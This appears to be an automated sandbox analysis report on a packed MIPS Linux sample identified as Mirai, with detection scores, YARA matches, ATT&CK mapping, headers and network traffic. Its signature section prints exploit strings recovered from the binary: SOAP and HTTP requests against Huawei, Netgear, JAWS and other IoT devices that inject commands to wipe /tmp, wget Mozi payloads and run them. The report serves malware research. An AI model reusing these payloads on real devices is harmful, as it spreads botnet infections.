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Linux Analysis Report
bin.sh.elf

Overview

General Information

Sample name:bin.sh.elf
Analysis ID:1643646
MD5:6401aaa77ed0e6e432fd6d6f7654a7ab
SHA1:35325a11e17854c1d12349f04285b9b7eae0586c
SHA256:6c18e3e822f74d069477ed0f052ad060a8cd4d624479b42fe250c8bf51bcc448
Tags:elfuser-abuse_ch
Infos:

Detection

Mirai
Score:92
Range:0 - 100

Signatures

Antivirus / Scanner detection for submitted sample
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Yara detected Mirai
Sample is packed with UPX
ELF contains segments with high entropy indicating compressed/encrypted content
Sample contains only a LOAD segment without any section mappings
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample contains strings that are potentially command strings
Uses the "uname" system call to query kernel version information (possible evasion)
Yara signature match

Classification

RansomwareSpreadingPhishingBankerTrojan / BotAdwareSpywareExploiterEvaderMinercleansuspiciousmalicious
Joe Sandbox version:42.0.0 Malachite
Analysis ID:1643646
Start date and time:2025-03-20 01:21:24 +01:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 4m 22s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample name:bin.sh.elf
Detection:MAL
Classification:mal92.troj.evad.linELF@0/0@2/0
Command:/tmp/bin.sh.elf
PID:5478
Exit Code:133
Exit Code Info:
Killed:False
Standard Output:

Standard Error:qemu: uncaught target signal 5 (Trace/breakpoint trap) - core dumped
  • system is lnxubuntu20
  • bin.sh.elf (PID: 5478, Parent: 5402, MD5: 0083f1f0e77be34ad27f849842bbb00c) Arguments: /tmp/bin.sh.elf
  • cleanup
NameDescriptionAttributionBlogpost URLsLink
MiraiMirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai
SourceRuleDescriptionAuthorStrings
bin.sh.elfJoeSecurity_Mirai_4Yara detected MiraiJoe Security
    bin.sh.elfJoeSecurity_Mirai_6Yara detected MiraiJoe Security
      bin.sh.elfJoeSecurity_Mirai_8Yara detected MiraiJoe Security
        bin.sh.elfLinux_Packer_Patched_UPX_62e11c64unknownunknown
        • 0x78:$a: 55 50 58 21 0A 58 0D 89 00 00 00 00 00 00 00 00 00 00 00 00
        SourceRuleDescriptionAuthorStrings
        5478.1.00007f71a837f000.00007f71a83a1000.r-x.sdmpLinux_Packer_Patched_UPX_62e11c64unknownunknown
        • 0x78:$a: 55 50 58 21 0A 58 0D 89 00 00 00 00 00 00 00 00 00 00 00 00
        No Suricata rule has matched

        Click to jump to signature section

        Show All Signature Results

        AV Detection

        barindex
        Source: bin.sh.elfAvira: detected
        Source: bin.sh.elfVirustotal: Detection: 65%Perma Link
        Source: bin.sh.elfReversingLabs: Detection: 55%
        Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
        Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
        Source: global trafficDNS traffic detected: DNS query: daisy.ubuntu.com
        Source: bin.sh.elfString found in binary or memory: http://%s:%d/Mozi.a;chmod
        Source: bin.sh.elfString found in binary or memory: http://%s:%d/Mozi.a;sh$
        Source: bin.sh.elfString found in binary or memory: http://%s:%d/Mozi.m
        Source: bin.sh.elfString found in binary or memory: http://%s:%d/Mozi.m;
        Source: bin.sh.elfString found in binary or memory: http://%s:%d/Mozi.m;$
        Source: bin.sh.elfString found in binary or memory: http://%s:%d/Mozi.m;/tmp/Mozi.m
        Source: bin.sh.elfString found in binary or memory: http://purenetworks.com/HNAP1/
        Source: bin.sh.elfString found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
        Source: bin.sh.elfString found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
        Source: bin.sh.elfString found in binary or memory: http://schemas.xmlsoap.org/soap/envelope//
        Source: bin.sh.elfString found in binary or memory: http://upx.sf.net

        System Summary

        barindex
        Source: bin.sh.elf, type: SAMPLEMatched rule: Linux_Packer_Patched_UPX_62e11c64 Author: unknown
        Source: 5478.1.00007f71a837f000.00007f71a83a1000.r-x.sdmp, type: MEMORYMatched rule: Linux_Packer_Patched_UPX_62e11c64 Author: unknown
        Source: LOAD without section mappingsProgram segment: 0x400000
        Source: Initial sampleString containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g %s:%d -l /tmp/huawei -r /Mozi.m;chmod -x huawei;/tmp/huawei huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
        Source: Initial sampleString containing 'busybox' found: <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1&qu ot;><NewNTPServer1>`cd /tmp && rm -rf * && /bin/busybox wget http://%s:%d/Mozi.m && chmod 777 /tmp/tr064 && /tmp/tr064 tr064`</NewNTPServer1><NewNTPServer2>`echo DEATH`</NewNTPServer2><NewNTPServer3>`echo DEATH`</NewNTPServer3><NewNTPServer4>`echo DEATH`</NewNTPServer4><NewNTPServer5>`echo DEATH`</NewNTPServer5></u:SetNTPServers></SOAP-ENV:Body></SOAP-ENV:Envelope>
        Source: Initial samplePotential command found: GET /Mozi.4 HTTP/1.0
        Source: Initial samplePotential command found: GET /Mozi.k HTTP/1.0
        Source: Initial samplePotential command found: GET /Mozi.l HTTP/1.0
        Source: Initial samplePotential command found: GET /Mozi.p HTTP/1.0
        Source: Initial samplePotential command found: GET /%s HTTP/1.1
        Source: Initial samplePotential command found: GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://%s:%d/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0
        Source: Initial samplePotential command found: GET /language/Swedish${IFS}&&cd${IFS}/tmp;rm${IFS}-rf${IFS}*;wget${IFS}http://%s:%d/Mozi.a;sh${IFS}/tmp/Mozi.a&>r&&tar${IFS}/string.js HTTP/1.0
        Source: Initial samplePotential command found: GET /shell?cd+/tmp;rm+-rf+*;wget+http://%s:%d/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1
        Source: Initial samplePotential command found: GET /cgi-bin/;cd${IFS}/var/tmp;rm${IFS}-rf${IFS}*;${IFS}wget${IFS}http://%s:%d/Mozi.m;${IFS}sh${IFS}/var/tmp/Mozi.m
        Source: Initial samplePotential command found: GET /board.cgi?cmd=cd+/tmp;rm+-rf+*;wget+http://%s:%d/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+varcron
        Source: bin.sh.elf, type: SAMPLEMatched rule: Linux_Packer_Patched_UPX_62e11c64 reference_sample = 02f81a1e1edcb9032a1d7256a002b11e1e864b2e9989f5d24ea1c9b507895669, os = linux, severity = x86, creation_date = 2021-06-08, scan_context = file, reference = https://cujo.com/upx-anti-unpacking-techniques-in-iot-malware/, license = Elastic License v2, threat_name = Linux.Packer.Patched_UPX, fingerprint = 3297b5c63e70c557e71b739428b453039b142e1e04c2ab15eea4627d023b686d, id = 62e11c64-fc7d-4a0a-9d72-ad53ec3987ff, last_modified = 2021-07-28
        Source: 5478.1.00007f71a837f000.00007f71a83a1000.r-x.sdmp, type: MEMORYMatched rule: Linux_Packer_Patched_UPX_62e11c64 reference_sample = 02f81a1e1edcb9032a1d7256a002b11e1e864b2e9989f5d24ea1c9b507895669, os = linux, severity = x86, creation_date = 2021-06-08, scan_context = file, reference = https://cujo.com/upx-anti-unpacking-techniques-in-iot-malware/, license = Elastic License v2, threat_name = Linux.Packer.Patched_UPX, fingerprint = 3297b5c63e70c557e71b739428b453039b142e1e04c2ab15eea4627d023b686d, id = 62e11c64-fc7d-4a0a-9d72-ad53ec3987ff, last_modified = 2021-07-28
        Source: classification engineClassification label: mal92.troj.evad.linELF@0/0@2/0

        Data Obfuscation

        barindex
        Source: initial sampleString containing UPX found: $Info: This file is packed with the UPX executable packer http://upx.sf.net $
        Source: initial sampleString containing UPX found: $Info: This file is packed with the UPX executable packer http://upx.sf.net $
        Source: initial sampleString containing UPX found: $Id: UPX 3.95 Copyright (C) 1996-2018 the UPX Team. All Rights Reserved. $
        Source: bin.sh.elfSubmission file: segment LOAD with 7.8156 entropy (max. 8.0)
        Source: /tmp/bin.sh.elf (PID: 5478)Queries kernel information via 'uname': Jump to behavior
        Source: bin.sh.elf, 5478.1.000055fae0d73000.000055fae0dfa000.rw-.sdmpBinary or memory string: U!/etc/qemu-binfmt/mips
        Source: bin.sh.elf, 5478.1.000055fae0d73000.000055fae0dfa000.rw-.sdmpBinary or memory string: /etc/qemu-binfmt/mips
        Source: bin.sh.elf, 5478.1.00007ffc1cfe8000.00007ffc1d009000.rw-.sdmpBinary or memory string: x86_64/usr/bin/qemu-mips/tmp/bin.sh.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/bin.sh.elf
        Source: bin.sh.elf, 5478.1.00007ffc1cfe8000.00007ffc1d009000.rw-.sdmpBinary or memory string: /usr/bin/qemu-mips
        Source: bin.sh.elf, 5478.1.00007ffc1cfe8000.00007ffc1d009000.rw-.sdmpBinary or memory string: qemu: uncaught target signal 5 (Trace/breakpoint trap) - core dumped

        Stealing of Sensitive Information

        barindex
        Source: Yara matchFile source: bin.sh.elf, type: SAMPLE

        Remote Access Functionality

        barindex
        Source: Yara matchFile source: bin.sh.elf, type: SAMPLE
        ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
        Gather Victim Identity InformationAcquire InfrastructureValid Accounts1
        Command and Scripting Interpreter
        Path InterceptionPath Interception11
        Obfuscated Files or Information
        OS Credential Dumping11
        Security Software Discovery
        Remote ServicesData from Local System1
        Non-Application Layer Protocol
        Exfiltration Over Other Network MediumAbuse Accessibility Features
        CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsRootkitLSASS MemoryApplication Window DiscoveryRemote Desktop ProtocolData from Removable Media1
        Application Layer Protocol
        Exfiltration Over BluetoothNetwork Denial of Service
        No configs have been found
        Hide Legend

        Legend:

        • Process
        • Signature
        • Created File
        • DNS/IP Info
        • Is Dropped
        • Number of created Files
        • Is malicious
        • Internet
        behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1643646 Sample: bin.sh.elf Startdate: 20/03/2025 Architecture: LINUX Score: 92 8 daisy.ubuntu.com 2->8 10 Malicious sample detected (through community Yara rule) 2->10 12 Antivirus / Scanner detection for submitted sample 2->12 14 Multi AV Scanner detection for submitted file 2->14 16 2 other signatures 2->16 6 bin.sh.elf 2->6         started        signatures3 process4

        This section contains all screenshots as thumbnails, including those not shown in the slideshow.


        windows-stand
        SourceDetectionScannerLabelLink
        bin.sh.elf66%VirustotalBrowse
        bin.sh.elf56%ReversingLabsLinux.Trojan.Dakkatoni
        bin.sh.elf100%AviraEXP/ELF.Agent.L.26
        No Antivirus matches
        No Antivirus matches
        No Antivirus matches

        Download Network PCAP: filteredfull

        NameIPActiveMaliciousAntivirus DetectionReputation
        daisy.ubuntu.com
        162.213.35.24
        truefalse
          high
          NameSourceMaliciousAntivirus DetectionReputation
          http://upx.sf.netbin.sh.elffalse
            high
            http://%s:%d/Mozi.a;sh$bin.sh.elffalse
              high
              http://%s:%d/Mozi.a;chmodbin.sh.elffalse
                high
                http://%s:%d/Mozi.m;/tmp/Mozi.mbin.sh.elffalse
                  high
                  http://schemas.xmlsoap.org/soap/encoding/bin.sh.elffalse
                    high
                    http://schemas.xmlsoap.org/soap/envelope//bin.sh.elffalse
                      high
                      http://%s:%d/Mozi.mbin.sh.elffalse
                        high
                        http://purenetworks.com/HNAP1/bin.sh.elffalse
                          high
                          http://%s:%d/Mozi.m;bin.sh.elffalse
                            high
                            http://%s:%d/Mozi.m;$bin.sh.elffalse
                              high
                              http://schemas.xmlsoap.org/soap/envelope/bin.sh.elffalse
                                high
                                No contacted IP infos
                                No context
                                MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                daisy.ubuntu.comjkse.arm7.elfGet hashmaliciousMiraiBrowse
                                • 162.213.35.24
                                jkse.arm.elfGet hashmaliciousUnknownBrowse
                                • 162.213.35.25
                                jkse.ppc.elfGet hashmaliciousUnknownBrowse
                                • 162.213.35.25
                                jkse.mips.elfGet hashmaliciousUnknownBrowse
                                • 162.213.35.25
                                jkse.mpsl.elfGet hashmaliciousUnknownBrowse
                                • 162.213.35.25
                                jkse.x86.elfGet hashmaliciousUnknownBrowse
                                • 162.213.35.24
                                .i.elfGet hashmaliciousUnknownBrowse
                                • 162.213.35.24
                                i.elfGet hashmaliciousUnknownBrowse
                                • 162.213.35.25
                                i.elfGet hashmaliciousUnknownBrowse
                                • 162.213.35.24
                                jkse.arm7.elfGet hashmaliciousMiraiBrowse
                                • 162.213.35.25
                                No context
                                No context
                                No context
                                No created / dropped files found
                                File type:ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, no section header
                                Entropy (8bit):4.894726721439586
                                TrID:
                                • ELF Executable and Linkable format (Linux) (4029/14) 50.16%
                                • ELF Executable and Linkable format (generic) (4004/1) 49.84%
                                File name:bin.sh.elf
                                File size:307'960 bytes
                                MD5:6401aaa77ed0e6e432fd6d6f7654a7ab
                                SHA1:35325a11e17854c1d12349f04285b9b7eae0586c
                                SHA256:6c18e3e822f74d069477ed0f052ad060a8cd4d624479b42fe250c8bf51bcc448
                                SHA512:9f32aa01ba812f6557712eca441f2e0fff10bb966315feb8a628d405d9bf21c9737e866870b6a5c32368adaf6d40352df70bd223a1a3fa158357cfbf558aac2c
                                SSDEEP:3072:phNlHuBafLeBtfCzpta8xlBIOdVo3/4sxLJ10xiod:p3lOYoaja8xzx/0wsxzSi2
                                TLSH:76640287FB217C1FCE020FB121DB078E66BCA65B82CB9091B2D4C95F35B6185B7A11C9
                                File Content Preview:.ELF.....................B.....4.........4. ...(.............@...@...........................C...C......../..........*.*UPX!.X.....................^....|.$..ELF..........@.`....4...0... ...(......<...@......[v......H...`.t..;_...dt.Q.....].M..............

                                ELF header

                                Class:ELF32
                                Data:2's complement, big endian
                                Version:1 (current)
                                Machine:MIPS R3000
                                Version Number:0x1
                                Type:EXEC (Executable file)
                                OS/ABI:UNIX - System V
                                ABI Version:0
                                Entry Point Address:0x4206a8
                                Flags:0x1007
                                ELF Header Size:52
                                Program Header Offset:52
                                Program Header Size:32
                                Number of Program Headers:2
                                Section Header Offset:0
                                Section Header Size:40
                                Number of Section Headers:0
                                Header String Table Index:0
                                TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
                                LOAD0x00x4000000x4000000x210f20x210f27.81560x5R E0x10000
                                LOAD0x00x4300000x4300000x00x92fd80.00000x6RW 0x10000

                                Download Network PCAP: filteredfull

                                TimestampSource PortDest PortSource IPDest IP
                                Mar 20, 2025 01:22:12.395051003 CET5510553192.168.2.141.1.1.1
                                Mar 20, 2025 01:22:12.395051003 CET4676953192.168.2.141.1.1.1
                                Mar 20, 2025 01:22:12.497390032 CET53467691.1.1.1192.168.2.14
                                Mar 20, 2025 01:22:12.498712063 CET53551051.1.1.1192.168.2.14
                                TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                Mar 20, 2025 01:22:12.395051003 CET192.168.2.141.1.1.10xebf1Standard query (0)daisy.ubuntu.comA (IP address)IN (0x0001)false
                                Mar 20, 2025 01:22:12.395051003 CET192.168.2.141.1.1.10x1159Standard query (0)daisy.ubuntu.com28IN (0x0001)false
                                TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                Mar 20, 2025 01:22:12.498712063 CET1.1.1.1192.168.2.140xebf1No error (0)daisy.ubuntu.com162.213.35.24A (IP address)IN (0x0001)false
                                Mar 20, 2025 01:22:12.498712063 CET1.1.1.1192.168.2.140xebf1No error (0)daisy.ubuntu.com162.213.35.25A (IP address)IN (0x0001)false

                                System Behavior

                                Start time (UTC):00:22:10
                                Start date (UTC):20/03/2025
                                Path:/tmp/bin.sh.elf
                                Arguments:/tmp/bin.sh.elf
                                File size:5777432 bytes
                                MD5 hash:0083f1f0e77be34ad27f849842bbb00c